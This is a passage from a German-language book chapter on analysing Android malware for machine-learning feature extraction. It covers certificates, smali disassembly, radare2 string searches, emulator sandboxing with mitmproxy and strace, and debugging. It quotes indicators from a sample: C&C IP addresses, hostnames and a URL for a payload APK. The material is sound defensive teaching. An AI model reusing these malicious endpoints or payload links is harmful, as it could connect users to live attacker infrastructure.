), zu verlangen. In der offiziellen Dokumentation für letzteres heißt es sogar: "Nur sehr wenige Anwendungen sollten diese Berechtigung nutzen; diese Fenster sind für die Interaktion mit dem Benutzer auf Systemebene gedacht." Einige der anderen angeforderten Berechtigungen (WRITE_SECURE_SETTINGS
, ACCESS_MTK_MMHW
, READ_LOGS
,24 usw.) sind geradezu gefährlich. Die im Manifest geforderten Berechtigungen sind offensichtliche Funktionen, die wir in unseren Funktionsumfang aufnehmen können. Es gibt eine feste Anzahl von möglichen Berechtigungen, die eine App anfordern kann, daher ist es sinnvoll, jede angeforderte Berechtigung als binäre Variable zu kodieren.
Etwas Interessantes, das in dem Paket versteckt ist, ist das Zertifikat, mit dem die App signiert wurde. Jede Android-Anwendung muss mit einem Zertifikat signiert werden, um auf einem Gerät ausgeführt werden zu können. Der META-INF-Ordner in einer APK enthält Ressourcen, die die Android-Plattform verwendet, um die Integrität und die Eigentümerschaft des Codes zu überprüfen, einschließlich des Zertifikats, das zum Signieren der App verwendet wurde. Apktool legt den META-INF-Ordner unter dem Stammordner des Pakets ab. Mit dem Dienstprogramm openssl
können wir Informationen über das DER-kodierte Zertifikat ausgeben, das sich als *.RSA-Datei in diesem Ordner befindet:25
> openssl pkcs7 -in original/META-INF/CERT.RSA -inform DER -print
Dieser Befehl gibt detaillierte Informationen über das Zertifikat aus. Einige interessante Datenpunkte, die für die Zuordnung der Urheberschaft besonders nützlich sind, sind die Abschnitte Aussteller und Gültigkeit. In diesem Fall sehen wir, dass der Abschnitt über den Zertifikatsaussteller nicht sehr nützlich ist:
issuer: CN=sui yun
Die Gültigkeitsdauer des Zertifikats kann uns aber zumindest sagen, wann der Antrag unterzeichnet wurde:
notBefore: Nov 16 03:11:34 2015 GMT notAfter: Mar 19 03:11:34 3015 GMT
In einigen Fällen können die Informationen über den Aussteller bzw. Unterzeichner des Zertifikats Aufschluss über die Urheberschaft geben, wie in diesem Beispiel:
Subject DN: C=US, ST=California, L=Mountain View, O=Android, OU=Android, CN=Android, E=android@android.com C: US E: android@android.com CN: Android L: Mountain View O: Android S: California OU: Android validto: 11:40 PM 09/01/2035 serialnumber: 00B3998086D056CFFA thumbprint: DF3DAB75FAD679618EF9C9FAFE6F8424AB1DBBFA validfrom: 11:40 PM 04/15/2008 Issuer DN: C=US, ST=California, L=Mountain View, O=Android, OU=Android, CN=Android, E=android@android.com C: US E: android@android.com CN: Android L: Mountain View O: Android S: California OU: Android
Wenn zwei Apps das gleiche Zertifikat oder eine obskure Signierstelle haben, ist die Wahrscheinlichkeit groß, dass sie von denselben Autoren erstellt wurden. Das machen wir als Nächstes.
Um mehr Informationen über die Anwendung zu erhalten, müssen wir uns nicht nur ihre interne Struktur ansehen, sondern auch versuchen, ihren Inhalt zu analysieren.
Statische Analyse
Die statische Analyse ist die Untersuchung des Codes einer Anwendung, ohne ihn auszuführen. In einigen Fällen, in denen der lesbare Code zugänglich ist, wie z. B. bei bösartigen Python-Skripten oder JavaScript-Schnipseln, ist es eine einfache Angelegenheit, den Code zu lesen und Merkmale wie die Anzahl der "risikoreichen" System-APIs, die Anzahl der Netzwerkaufrufe zu externen Servern usw. zu ermitteln. In den meisten Fällen, wie z. B. bei den Android-Anwendungspaketen, müssen wir uns die Mühe machen, die App zurückzuentwickeln. Wenn wir uns den in Abbildung 4-1 dargestellten modernen Code-Ausführungsprozess ansehen, werden wir uns mit zwei der drei erwähnten Programmanalyse-Tools beschäftigen: dem Disassembler und dem Dekompiler.
Im vorherigen Abschnitt haben wir Apktool verwendet, um die Struktur und die Metadaten der APK-Datei zu analysieren. Wenn dir die Zeile Baksmaling classes.dex...
in der Konsolenausgabe beim Aufruf von apktool decode
auf infected.apk aufgefallen ist, kannst du vielleicht erraten, worum es sich handelt. Der kompilierte Bytecode der Android-Anwendung wird in .dex-Dateien gespeichert und von einer virtuellen Dalvik-Maschine ausgeführt. In den meisten APKs wird der kompilierte Bytecode in einer Datei namens classes.dex zusammengefasst. Baksmali ist ein Disassembler für das .dex-Format(smali ist der Name des entsprechenden Assemblers), der die konsolidierte .dex-Datei in smali-Quellcode umwandelt. Schauen wir uns den smali-Ordner an, der zuvor von apktool decode
erstellt wurde:
smali ├── android │ └── annotation ├── cmn │ ├── a.smali │ ├── b.smali │ ├── ... ├── com │ ├── android │ ├── appbrain │ ├── dumplingsandwich │ ├── google │ ├── ... │ ├── third │ └── umeng └── ...
Schauen wir uns nun einen Ausschnitt aus der Klasse smali des Haupteinstiegspunkts an, smali/com/dumplingsandwich/pencilsketch/MainActivity.smali:
.method public onCreate(Landroid/os/Bundle;)V .locals 2 .param p1, "savedInstanceState" # Landroid/os/Bundle; ... .line 50 const/4 v0, 0x1 ... move-result-object v0
Smali ist die für Menschen lesbare Darstellung von Dalvik-Bytecode. Wie der x64-Assemblercode, den wir weiter oben im Kapitel gesehen haben, kann Smali ohne Studium schwer zu verstehen sein. Trotzdem kann es manchmal nützlich sein, Merkmale für einen Lernalgorithmus zu erstellen, der auf n-Grammen26 von Smali-Anweisungen. Wir können bestimmte Aktivitäten erkennen, wenn wir den Smali-Code untersuchen, wie zum Beispiel die folgenden:
const-string v0, "http://178.57.217.238:3000" iget-object v1, p0, Lcom/fanta/services/SocketService;->b:La/a/b/c; invoke-static {v0, v1}, La/a/b/b;-> a(Ljava/lang/String;La/a/b/c;)La/a/b/ac; move-result-object v0 iput-object v0, p0, Lcom/fanta/services/SocketService;->a:La/a/b/ac;
In der ersten Zeile wird eine IP-Adresse für einen C&C-Server festgelegt. Die zweite Zeile liest eine Objektreferenz aus einem Instanzfeld und legt SocketService
im Register v1
ab. Die dritte Zeile ruft eine statische Methode mit der IP-Adresse und der Objektreferenz als Parameter auf. Danach wird das Ergebnis der statischen Methode in das Register v0
verschoben und in das Instanzfeld SocketService
geschrieben. Dies ist eine Form der ausgehenden Informationsübertragung, die wir versuchen können, als Teil eines Merkmals zu erfassen, das durch n-Gramme von Dalvik-Opcodes im Smali-Format erzeugt wird. Die 5-Gramm-Darstellung für das soeben gezeigte Smali-Idiom wäre zum Beispiel:
{const-string, iget-object, invoke-static, move-result-object, iput-object}
Die Verwendung von Syscall- oder Opcode-N-Grammen als Merkmale hat sich bei der Klassifizierung von Malware als vielversprechend erwiesen.27
Der baksmali Disassembler kann den gesamten smali Code einer .dex Datei ausgeben, aber das kann manchmal überwältigend sein. Hier sind einige andere Reverse-Engineering-Frameworks, die den Prozess der statischen Analyse beschleunigen können:
-
Radare228 ist ein beliebtes Reverse Engineering Framework. Es ist eines der am einfachsten zu installierenden und zu verwendenden Tools und verfügt über eine Vielzahl von forensischen und analytischen Werkzeugen, die du auf eine Vielzahl von Binärdateiformaten (nicht nur Android) anwenden und auf verschiedenen Betriebssystemen ausführen kannst. Zum Beispiel:
-
Du kannst den Befehl
rafind2
verwenden, um Bytemuster in Dateien zu finden. Dies ist eine leistungsfähigere Version des Unix-Befehlsstrings
, der häufig verwendet wird, um druckbare Zeichenfolgen in Binärdateien zu finden. -
Du kannst den Befehl
rabin2
verwenden, um die Eigenschaften einer Binärdatei anzuzeigen. Zum Beispiel, um Informationen über eine .dex-Datei zu erhalten:> rabin2 -I classes.dex ... bintype class class 035 lang dalvik arch dalvik bits 32 machine Dalvik VM os linux minopsz 1 maxopsz 16 pcalign 0 subsys any endian little ...
So finden Sie Programm- oder Funktionseinstiegspunkte29 und ihre entsprechenden Adressen:
> rabin2 -e classes.dex [Entrypoints] vaddr=0x00060fd4 paddr=0x00060fd4 baddr=0x00000000 laddr=0x00000000 haddr=-1 type=program
Um herauszufinden, welche Bibliotheken die ausführbare Datei importiert und ihre entsprechenden Offsets in der Procedure Linkage Table (PLT):30
> rabin2 -i classes.dex [Imports] ordinal=000 plt=0x00001943 bind=NONE type=FUNC name=Landroid/app/ Activity.method.<init>()V ordinal=001 plt=0x0000194b bind=NONE type=FUNC name=Landroid/app/ Activity.method.finish()V ordinal=002 plt=0x00001953 bind=NONE type=FUNC name=Landroid/app/ Activity.method.getApplicationContext()Landroid/content/Context; ...
Es gibt noch viel mehr, was du mit radare2 machen kannst, auch über eine interaktive Konsolensitzung:
> r2 classes.dex # List all program imports [0x00097f44]> iiq # List classes and methods [0x00097f44]> izq ...
-
-
Capstone ist ein weiteres sehr leichtgewichtiges, aber leistungsstarkes Disassembly-Framework für mehrere Plattformen und Architekturen. Es nutzt LLVM, eine Compiler-Infrastruktur-Toolchain, die von Compilern wie dem GCC ausgegebenen IR-Code (Intermediate Representation) erzeugen, optimieren und konvertieren kann. Obwohl Capstone eine steilere Lernkurve als radare2 hat, bietet es mehr Funktionen und ist im Allgemeinen besser für die Automatisierung großer Disassemblierungsaufgaben geeignet.
-
Hex-Rays IDA ist ein hochmoderner Disassembler und Debugger, der vor allem von professionellen Reverse Engineers verwendet wird. Es verfügt über die ausgereiftesten Toolkits für eine große Anzahl von Funktionen, erfordert aber eine teure Lizenz, wenn du die neueste Vollversion der Software haben möchtest.
Selbst mit all diesen Analysetools ist der Smali-Code möglicherweise immer noch ein zu niedriges Format, um für die Erfassung umfangreicher Aktionen, die die Anwendung durchführen könnte, nützlich zu sein. Wir müssen die Android-Anwendung irgendwie in eine höherwertige Darstellung dekompilieren. Glücklicherweise gibt es im Android-Ökosystem viele Dekompilierungs-Tools. Dex2jar ist ein Open-Source-Tool zur Konvertierung von APKs in JAR-Dateien. Danach kannst du JD-GUI (Java Decompiler GUI) verwenden, um den entsprechenden Java-Quellcode der Java-Klassendateien in den JAR-Dateien anzuzeigen. In diesem Beispiel werden wir jedoch eine alternative .dex-to-Java-Toolsuite namens JADX verwenden. Mit der JADX-GUI können wir den Java-Quellcode der Anwendung interaktiv erforschen, wie in Abbildung 4-3 zu sehen ist.
Die grafische Benutzeroberfläche ist nicht so praktisch, um die Generierung von Java-Code für einen APK-Datensatz zu automatisieren, aber JADX bietet auch eine Befehlszeilenschnittstelle, die du mit dem Befehl jadx infected.apk
aufrufen kannst.
Um nützliche Merkmale für maschinelles Lernen aus dem Quellcode zu generieren, ist ein gewisses Fachwissen über das typische Verhalten von Malware erforderlich. Im Allgemeinen sollen die extrahierten Merkmale verdächtige Codemuster, fest kodierte Zeichenfolgen, API-Aufrufe und idiomatische Anweisungen erfassen, die auf bösartiges Verhalten hindeuten könnten. Wie bei allen zuvor besprochenen Techniken zur Generierung von Merkmalen können wir einen einfachen n-Gramm-Ansatz wählen oder versuchen, Merkmale zu erfassen, die den Detailgrad nachahmen, den ein menschlicher Malware-Analyst verwenden würde.
Selbst eine einfache Android-Anwendung kann eine große Menge an Java-Code enthalten, der analysiert werden muss, um zu verstehen, was die gesamte Anwendung tut. Bei dem Versuch, die Bösartigkeit einer Anwendung oder die Funktionalität einer Schadsoftware zu ermitteln, lesen Analysten in der Regel nicht jede Zeile des Java-Codes, der bei der Dekompilierung entsteht. Analysten kombinieren ein gewisses Maß an Fachwissen und Wissen über das typische Verhalten von Malware, um nach bestimmten Aspekten des Programms zu suchen, die ihre Entscheidungen beeinflussen können. Android-Malware macht zum Beispiel in der Regel eines oder mehrere der folgenden Dinge:
-
Nutzt Verschleierungstechniken, um bösartigen Code zu verstecken
-
Hardcodes für Strings, die auf System-Binärdateien verweisen
-
C&C-Server IP-Adressen oder Hostnamen fest codieren
-
Überprüft, ob er in einer emulierten Umgebung ausgeführt wird (um die Ausführung in einer Sandbox zu verhindern)
-
Enthält Links zu externen, heimlich heruntergeladenen und sideload APK-Payloads
-
Fragt während der Installation oder zur Laufzeit nach übermäßigen Berechtigungen, manchmal auch nach administrativen Rechten
-
Enthält reine ARM-Bibliotheken, um zu verhindern, dass die Anwendung auf einem x86-Emulator ausgeführt wird
-
Hinterlässt Spuren von Dateien an unerwarteten Orten auf dem Gerät
-
Ändert legitime Apps auf dem Gerät und erstellt oder entfernt Verknüpfungssymbole
Mit radare2/rafind2 können wir nach interessanten String-Mustern in unserer Binärdatei suchen, die auf ein bösartiges Verhalten hindeuten könnten, z. B. Strings, die auf /bin/su
, http://
, fest kodierte IP-Adressen, andere externe .apk-Dateien und so weiter verweisen. In der interaktiven radare2 Konsole:31
> r2 classes.dex # List all printable strings in the program, grepping for "bin/su" [0x00097f44]> izq ~bin/su 0x47d4c 7 7 /bin/su 0x47da8 8 8 /sbin/su 0x47ed5 8 8 /xbin/su # Do the same, now grepping for ".apk" [0x00097f44]> izq ~.apk ... 0x72f07 43 43 http://appapk.kemoge.com/appmobi/300010.apk 0x76e17 17 17 magic_encrypt.apk ...
Wir finden in der Tat einige Verweise auf den Unix-Befehl su
(Superuser) zur Eskalation der Rechte und externe APK-Dateien, darunter eine von einer externen URL - sehr verdächtig. Du kannst mit Hilfe der Konsole weitere Untersuchungen durchführen, um die spezifischen Code-Verweise auf Methoden und Strings zu finden, die wir gefunden haben, aber wir diskutieren dies nicht weiter und verweisen stattdessen auf spezielle Texte zu diesem Thema.32
Verhaltensanalyse (dynamisch)
Die strukturelle Analyse, wie z. B. die Untersuchung der Metadaten einer Android-Anwendung, gibt einen sehr eingeschränkten Einblick in die tatsächliche Funktionsweise der Software. Die statische Analyse kann theoretisch bösartiges Verhalten durch eine vollständige Codeabdeckung aufdecken, aber sie verursacht manchmal unrealistisch hohe Ressourcenkosten, vor allem bei großen und komplexen Anwendungen. Außerdem kann die statische Analyse sehr ineffizient sein, weil die Merkmale, die die stärksten Signale zur Unterscheidung verschiedener Kategorien von Binärdateien (z. B. Malware-Familie, gutartig/bösartig) darstellen, oft nur in einem kleinen Teil der Logik der Binärdatei enthalten sind. Die Analyse von 100 Codeblöcken einer Binärdatei, um einen einzigen Codeblock zu finden, der die aufschlussreichsten Merkmale enthält, ist ziemlich verschwenderisch.
Das tatsächliche Ausführen des Programms kann eine viel effizientere Methode sein, um umfangreiche Daten zu generieren. Auch wenn dabei wahrscheinlich nicht alle Codepfade in der Anwendung geübt werden, haben verschiedene Kategorien von Binärdateien wahrscheinlich unterschiedliche Nebeneffekte, die beobachtet und als Merkmale für die Klassifizierung extrahiert werden können.
Um sich ein genaues Bild von den Nebenwirkungen einer ausführbaren Datei zu machen, wird die Malware üblicherweise in einer Anwendungs-Sandbox ausgeführt. Sandboxing ist eine Technik, mit der die Ausführung von nicht vertrauenswürdigem, verdächtigem oder bösartigem Code isoliert wird, um zu verhindern, dass der Rechner Schaden nimmt.
Der offensichtlichste Nebeneffekt der Ausführung, auf den man bei der Analyse von Malware achten sollte, ist das Netzwerkverhalten. Viele bösartige Anwendungen benötigen eine Form der externen Kommunikation, um Anweisungen von einem C&C-Server zu erhalten, gestohlene Daten zu exfiltrieren oder unerwünschte Inhalte bereitzustellen. Indem wir das Netzwerkverhalten einer Anwendung zur Laufzeit beobachten, können wir einen Einblick in einige dieser illegalen Kommunikationen gewinnen und eine grobe Signatur der Anwendung erstellen.
Zunächst einmal brauchen wir eine Sandbox-Umgebung für Android, in der wir die Anwendung ausführen können. Führe niemals bösartige Apps (ob vermutet oder bestätigt) auf privaten Geräten aus, auf denen du auch wertvolle Daten speicherst. Du kannst die App auch auf einem physischen Android-Gerät ausführen, aber wir werden unser Beispiel auf einem Android-Emulator ausführen. Der Emulator, den wir verwenden, wird mit dem Android Virtual Device (AVD) Manager in Android Studio erstellt und läuft mit dem Android 4.4 x86 OS auf einem Nexus 5 (4.95 1080x1920 xxhdpi). Für die Zwecke dieser Übung nennen wir dieses virtuelle Gerät liebevoll "pwned". Es ist ratsam, das virtuelle Android-Gerät in einer Wegwerf-VM laufen zu lassen, da die AVD-Plattform keine Isolierung der emulierten Umgebung vom Host-Betriebssystem garantiert.
Die Kommunikation zwischen dem Host und dem Emulator erfolgt über die Android Debug Bridge (adb). adb ist ein Kommandozeilentool, das du zur Kommunikation mit einem virtuellen oder physischen Android-Gerät verwenden kannst. Es gibt verschiedene Möglichkeiten, den Netzwerkverkehr, der in den und aus dem Emulator fließt, zu erschnüffeln (z. B. mit dem einfachen tcpdump oder dem funktionsreichen Charles Proxy), aber für unser Beispiel werden wir ein Tool namens mitmproxy verwenden. mitmproxy ist ein Kommandozeilen-Tool, das eine interaktive Benutzeroberfläche für die Untersuchung und Veränderung des HTTP-Verkehrs bietet. Für Apps, die SSL/TLS verwenden, stellt mitmproxy ein eigenes Root-Zertifikat zur Verfügung, das du auf dem Android-Gerät installieren kannst, damit der verschlüsselte Verkehr abgefangen werden kann. Bei Apps, die das Zertifikats-Pinning ordnungsgemäß implementieren (das tun nicht viele Apps), ist der Prozess etwas komplizierter, aber er kann trotzdem umgangen werden33 solange du die Kontrolle über das Client-Gerät/den Emulator hast.
Starten wir zunächst mitmproxy in einem separaten Terminalfenster:
> mitmproxy
Dann lass uns den Emulator starten. Das -wipe-data
Flag stellt sicher, dass wir mit einem frischen Emulator-Disk-Image starten, und das -http-proxy
Flag leitet den Datenverkehr über den mitmproxy-Server, der auf localhost:8080
läuft:
> cd <ANDROID-SDK-LOCATION>/tools > emulator -avd pwned -wipe-data -http-proxy http://localhost:8080
Nachdem der Emulator gestartet ist, sollte das virtuelle Gerät für adb sichtbar sein. Wir führen adb in einem separaten Terminalfenster aus:
> adb devices List of devices attached emulator-5554 device
Jetzt sind wir bereit, die APK-Datei zu installieren:
> adb install infected.apk infected.apk: 1 file pushed. 23.3 MB/s (1431126 bytes in 0.059s) pkg: /data/local/tmp/infected.apk Success
Wenn wir zur grafischen Oberfläche des Emulators zurückkehren, sollte die neu installierte App ganz einfach über den Android App Drawer zu finden sein. Du kannst auf die App "Pencil Sketch"(Abbildung 4-4) klicken, um sie zu starten, oder sie über die Paket- bzw.MainActivity
-Namen (die du aus der AndroidManifest.xml entnommen hast) über adb ausführen:
> adb shell am start \ -n cn.dump.pencil/com.dumplingsandwich.pencilsketch.MainActivity Starting: Intent { cmp=cn.dump.pencil/ com.dumplingsandwich.pencilsketch.MainActivity }
Du solltest jetzt in der grafischen Oberfläche des Emulators sehen können, dass die App läuft(Abbildung 4-5).
Wenn wir nun zum mitmproxy-Terminalfenster zurückkehren, können wir den aufgezeichneten Datenverkehr in Echtzeit beobachten, wie in Abbildung 4-6 dargestellt.34
Wenn wir uns die HTTP-Anfragen ansehen, können wir sofort einige verdächtige Daten feststellen:
127.0.0.1 GET http://p.appbrain.com/promoted.data?v=11 127.0.0.1 POST http://alog.umeng.com/app_logs 127.0.0.1 POST http://123.158.32.182:24100/ ... 127.0.0.1 GET http://218.85.139.168:89/ads_manage/sendAdNewStatus? user_id=000000000000000&id=-1& record_type=4&position_type=2&apk_id=993 127.0.0.1 GET http://218.85.139.168:89/ads_manage/getDownloadInfo? id=0&user_id=000000000000000&ad_class=1 127.0.0.1 POST http://47.88.137.232:7070/
Die Anfragen an p.appbrain.com
und alog.umeng.com
sehen nach harmlosem Werbedatenverkehr aus (sowohl Umeng als auch AppBrain sind Werbenetzwerke für mobile Apps), aber die POST-Anfragen an http://123.158.32.182:24100
und http://47.88.137.232:7070/
sehen ziemlich verdächtig aus. mitmproxy ermöglicht es uns, Anfrage- und Antwortdetails wie den Host, den POST-Body usw. zu sehen, wie in Abbildung 4-7 dargestellt.
Betrachtet man die Hostnamen und den Request Body, scheint es wahrscheinlich, dass die Hosts jxyxintel.slhjk.com:7070
und hzdns.zjnetcom.com:24100
C&C-Server sind. Je nachdem, wie neu und aktuell das Malware-Sample ist, können die C&C-Server noch aktiv sein oder nicht. In unserem Fall erhalten die ausgehenden Anfragen keine Antworten, so dass die Server anscheinend nicht mehr aktiv sind. Das sollte die Qualität unserer Funktionen nicht allzu sehr beeinträchtigen.
Neben der Erstellung von Netzwerkprofilen sind auch andere Verhaltenseffekte von Android-Anwendungen nützlich, um sie zu erfassen und als Klassifizierungsmerkmale zu verwenden:
-
Die Abfolge der Systemaufrufe (Syscalls), die eine Anwendung während der Ausführung tätigt, ist ein wichtiges Merkmal, das bei der Klassifizierung von Malware sehr erfolgreich war.35,36,37
Es gibt verschiedene Möglichkeiten, Syscalls zu verfolgen, aber die beliebteste und direkteste ist die Verwendung des Moduls
strace
, das in den meisten modernen Android-Distributionen enthalten ist.38 Schauen wir uns kurz an, wie wir die Syscalls einer Anwendung mit adb und unserem Emulator extrahieren können. Android-Anwendungen werden gestartet, indem der Zygote Daemon App Launcher Prozess geforkt wird. Da wir die Syscalls einer App vom Beginn ihres Hauptprozesses an verfolgen wollen, lassen wirstrace
auf Zygote laufen und suchen dann in den gesammeltenstrace
Logs nach der Prozess-ID des App-Prozesses.Unter der Annahme, dass die Ziel-App bereits geladen und auf dem virtuellen Android-Gerät installiert ist, starten wir eine adb-Shell und starten
strace
unter der Prozess-ID von Zygote (die folgenden Befehle werden in der adb-Shell ausgeführt):39> ps zygote USER PID PPID VSIZE RSS WCHAN PC NAME root 1134 1 707388 46504 ffffffff b766a610 S zygote > strace -f -p 1134 Process 1134 attached with 4 threads - interrupt to quit ...
Dann starten wir die Anwendung über adb in einem anderen Terminal:
> adb shell am start -n \ cn.dump.pencil/com.dumplingsandwich.pencilsketch.MainActivity
Wenn wir zum Fenster
strace
zurückkehren, sollten wir jetzt einige Aktivitäten sehen:fork(Process 2890 attached ... [pid 2890] ioctl(35, 0xc0046209, 0xbf90e5c8) = 0 [pid 2890] ioctl(35, 0x40046205, 0xbf90e5cc) = 0 [pid 2890] mmap2(NULL, 1040384, PROT_READ, MAP_PRIVATE|MAP_NORESERVE, 35, 0) = 0x8c0c4000 ... [pid 2890] clone(Process 2958 attached ... [pid 2958] access( "/data/data/cn.dump.pencil/files/3b0b23e7fd0/ f9662419-bd87-43de-ad36-9514578fcd67.zip", F_OK) = −1 ENOENT (No such file or directory) ... [pid 2958] write(101, "\4", 1) = 1 [pid 2958] write(101, "\n", 1) = 1
Es sollte ziemlich offensichtlich sein, wie die übergeordnete Prozess-ID der Hauptanwendung lautet; in diesem Fall ist es 2890. Beachte, dass du auch Klone oder Forks des übergeordneten Anwendungsprozesses berücksichtigen solltest. In der vorangegangenen Ausgabe wurde PID 2890 in einen anderen Prozess 2958 geklont, der ein interessantes Syscall-Verhalten zeigte, das wir mit der Anwendung in Verbindung bringen möchten.
-
adb bietet ein praktisches Kommandozeilen-Tool namens logcat, das ausführliche systemweite und anwendungsspezifische Meldungen, Fehler und Traces für alles, was im System passiert, sammelt und ausgibt. Logcat ist für die Fehlersuche gedacht, aber manchmal auch eine nützliche Alternative zu
strace
. -
Informationen über den Dateizugriff und das Erstellungsmuster können aus Syscall- und Logcat-Traces destilliert werden. Diese Merkmale können für die Klassifizierung von Malware wichtig sein, da viele bösartige Anwendungen Dateien an obskuren oder versteckten Orten im Dateisystem des Geräts schreiben und darauf zugreifen. (Achte auf die Syscalls
write
undaccess
.)
Eine gängige Methode, um repräsentative Merkmale aus Netzwerk-, Syscall-, Logcat- oder Dateizugriffsaufzeichnungen zu erzeugen, ist die Erstellung von n-Gramm-Sequenzen von Entitäten. Du solltest diese Sequenzen erstellen, nachdem du einige Vorverarbeitungen vorgenommen hast, wie z. B. das Entfernen von Dateinamen, Speicheradressen, zu spezifischen Argumenten und so weiter. Wichtig ist, dass die relative Abfolge der Ereignisse in jedem Satz von erfassten Ereignissen beibehalten wird und gleichzeitig ein Gleichgewicht zwischen Entropie und Stabilität in den erzeugten n-Gramm-Tokens besteht. Ein kleiner Wert von n führt zu einer geringeren Anzahl einzigartiger Token, was eine geringere Entropie (und damit eine geringere Merkmalsausprägung), aber eine größere Stabilität zur Folge hat, da sich die Token von Apps, die dasselbe Verhalten zeigen, eher überschneiden. Im Gegensatz dazu führt ein großer Wert von n zu einem geringen Grad an Stabilität, weil es eine viel größere Menge an eindeutigen Token-Sequenzen gibt, aber jedes Token ein viel aussagekräftigeres Merkmal darstellt. Um einen guten Wert für n zu finden, muss man ein wenig experimentieren und gut verstehen, wie Netzwerkverkehr, Systemaufrufe oder Dateizugriffsmuster mit dem tatsächlichen bösartigen Verhalten zusammenhängen. Wenn beispielsweise eine Folge von sechs Syscalls nötig ist, um über einen Socket empfangene Daten in eine Datei zu schreiben, sollte n vielleicht auf 6 gesetzt werden.
Die dynamische Analyse ist die klassische Methode zur Charakterisierung des Verhaltens von Malware. Eine einzelne POST-Anfrage an eine verdächtige IP-Adresse reicht vielleicht nicht aus, um die gesamte Anwendung zu entlarven, aber wenn diese Information mit verdächtigen Dateizugriffsmustern, Systemaufrufsequenzen und angeforderten Berechtigungen kombiniert wird, kann die Anwendung mit hoher Wahrscheinlichkeit als bösartig eingestuft werden. Maschinelles Lernen eignet sich perfekt für solche Probleme, denn unscharfe Übereinstimmungen und subtile Ähnlichkeiten können dabei helfen, die Absicht und das Verhalten von ausführbaren Programmen zu klassifizieren.
Die Schwäche der Verhaltensanalyse liegt in der Schwierigkeit, eine vollständige Analyse und Charakterisierung aller möglichen Ausführungspfade in einem Programm zu gewährleisten. Software-Fuzzing ist eine Blackbox-Technik, mit der Fehler in Programmen durch ungültige oder unerwartete Eingaben gefunden werden können, aber es ist äußerst ineffizient, Anwendungen nach Fuzzing-Prinzipien zu profilieren. Bedingte Anweisungen und Schleifen im Anwendungscode sind häufig, und einige einzigartige Programmmerkmale treten nur auf, wenn bestimmte seltene Bedingungen erfüllt sind. Nehmen wir zum Beispiel dieses Python-Programm, secret.py, als Beispiel:40
import
sys
if
len
(
sys
.
argv
)
!=
2
or
sys
.
argv
[
1
]
!=
's3cretp4ssw0rd'
:
(
'i am benign!'
)
else
:
(
'i am malicious!'
)
Das Programm zeigt seine "Bösartigkeit" nur, wenn es mit einem bestimmten Eingabeargument ausgeführt wird : python secret.py s3cretp4ssw0rd
. Es ist unwahrscheinlich, dass Fuzzing-Techniken diese spezielle Programmeingabe aufdecken. Dieses Beispiel ist ziemlich extrem, aber das gleiche Argument gilt auch für Anwendungen, die bestimmte menschliche Interaktionen erfordern, bevor sie ihr bösartiges Verhalten zeigen: Zum Beispiel ein bösartiger Online-Banking-Trojaner, der sich beim Start normal verhält, aber deine Anmeldedaten stiehlt und sie nur dann an einen Remote-Server sendet, wenn du dich erfolgreich anmeldest, oder mobile Ransomware, die prüft, ob mehr als 20 Kontakte im Telefonbuch und mehr als eine Woche an Web-Lesezeichen und Verlaufseinträgen vorhanden sind, bevor sie mit der Verschlüsselung der SD-Karte beginnt - Funktionen, die speziell dafür entwickelt wurden, um Malware-Forscher daran zu hindern, neue virtuelle Geräte-Sandboxen zur Erstellung von Malware-Profilen zu nutzen.
Um Merkmale zu generieren, die den gesamten Programmraum beschreiben können, einschließlich aller bösartigen und obskuren Codepfade, müssen wir eintauchen und Code analysieren, was wir als nächstes behandeln.
Fehlersuche
Debugger (wie z. B. GDB, das freie Softwaretool des GNU-Projekts) werden in der Regel zur Unterstützung der Entwicklung und Validierung von Computerprogrammen eingesetzt, indem sie in die Anwendungslogik eingreifen und interne Zwischenzustände untersuchen. Sie können aber auch sehr nützliche Werkzeuge für die manuelle Forschungsphase sein, um das Verhalten von Malware zu bestimmen. Mit einem Debugger kannst du den Ausführungszustand und die Ausführungszeit eines Programms kontrollieren, Haltepunkte und Watchpoints setzen, Speicherwerte ausgeben und den Anwendungscode Zeile für Zeile durchgehen. Dieser Prozess hilft Malware-Analysten, sich schneller ein klares Bild davon zu machen, was die Malware tut, indem sie beobachten, was das Programm bei jedem Ausführungsschritt tut.
In den meisten Android-Anwendungen, die an Endbenutzer verteilt werden, ist das Debugging normalerweise deaktiviert. Die Aktivierung des Debugging ist jedoch ganz einfach: Du musst nur die entschlüsselte Datei AndroidManifest.xml ändern, indem du das Attribut android:debuggable="true"
zum Knoten application
der XML-Datei hinzufügst, die App mit apktool build
neu verpackst und dann die neu erstellte APK-Datei mit Debug-Zertifikaten signierst.41 Das Debugging der Anwendung kann dann mit der offiziellen Android Studio IDE oder mit dem spezielleren IDA durchgeführt werden, wenn du eine Lizenz besitzt, die Dalvik-Debugging unterstützt. Für das Debugging auf einem physischen Gerät, das dir manchmal ein realistischeres Bild vom Ausführungsverhalten der Anwendung vermitteln kann, kannst du einen Low-Level-Debugger wie KGDB verwenden.42
Bitte beachte, dass das Debuggen von Anwendungen ein interaktiver Prozess ist, der bei unbekannten Binärdateien nicht automatisiert werden kann. Der Wert des Debugging im Zusammenhang mit unserer Diskussion - das Extrahieren verschiedener und informativer Merkmale für ausführbare Binärdateien - ergänzt die manuellen Erkundungsbemühungen, um auffällige Facetten des Programms zu finden, auf die wir dann automatisierte dynamische oder statische Analysetechniken anwenden können. Es könnte zum Beispiel der Fall sein, dass eine große und komplexe Android-Spielanwendung sich weitgehend harmlos verhält, aber zu einem unvorhersehbaren Zeitpunkt während der Ausführung bösartigen Code von einem C&C-Server empfängt. Die statische Analyse ist möglicherweise nicht in der Lage, dieses verdeckte Verhalten, das in der komplexen Anwendungslogik verborgen ist, zu erkennen, und wenn die Anwendung dynamisch in einer Sandbox ausgeführt wird, ist nicht gewährleistet, dass das Verhalten aufgedeckt wird. Wenn wir einen Debugger verwenden, um auf externes Netzwerkverhalten zu achten und die im Laufe der Zeit empfangenen Nutzdaten genau zu untersuchen, können wir mit größerer Wahrscheinlichkeit feststellen, wann die ungewöhnliche Aktivität auftritt und dieses Verhalten zu dem dafür verantwortlichen Code zurückverfolgen. Diese Informationen geben uns einen klareren Hinweis darauf, wonach wir suchen müssen, wenn wir ähnliche Anwendungen statisch analysieren.
Dynamische Instrumentierung
